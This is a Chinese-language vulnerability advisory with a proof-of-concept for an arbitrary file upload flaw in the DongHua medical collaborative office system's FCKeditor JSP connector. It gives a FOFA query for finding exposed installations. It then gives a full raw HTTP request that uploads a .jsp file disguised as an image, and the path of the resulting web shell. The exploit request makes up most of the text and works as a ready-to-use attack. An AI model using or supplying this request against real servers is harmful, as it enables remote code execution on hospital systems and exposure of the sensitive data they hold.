漏洞描述
东华医疗协同办公系统 connector接口处存在任意文件上传漏洞，攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web服务器。
东华医疗协同办公系统文件上传
PoC代码
## 东华医疗协同办公系统文件上传
## fofa
```
body="东华医疗协同办公系统"
```
## poc
```
POST /common/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=&CurrentFolder=/ HTTP/1.1
Host: xx.xx.xx.xx
Cookie: JSESSIONID=17A17E4D9E4E38B72D650895AFF7D1DF
Content-Length: 284
Cache-Control: max-age=0
Sec-Ch-Ua: "Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Origin: https://xx.xx.xx.xx
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt1qdEWTI01cj5BLV
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
------WebKitFormBoundaryt1qdEWTI01cj5BLV
Content-Disposition: form-data; name="NewFile"; filename="123.jsp"
Content-Type: image/jpeg
123
------WebKitFormBoundaryt1qdEWTI01cj5BLV
Content-Disposition: form-data; name="Submit"
upload
------WebKitFormBoundaryt1qdEWTI01cj5BLV--
```
shell: https://xx.xx.xx.xx/common/FCKeditor/UserFiles/123.jsp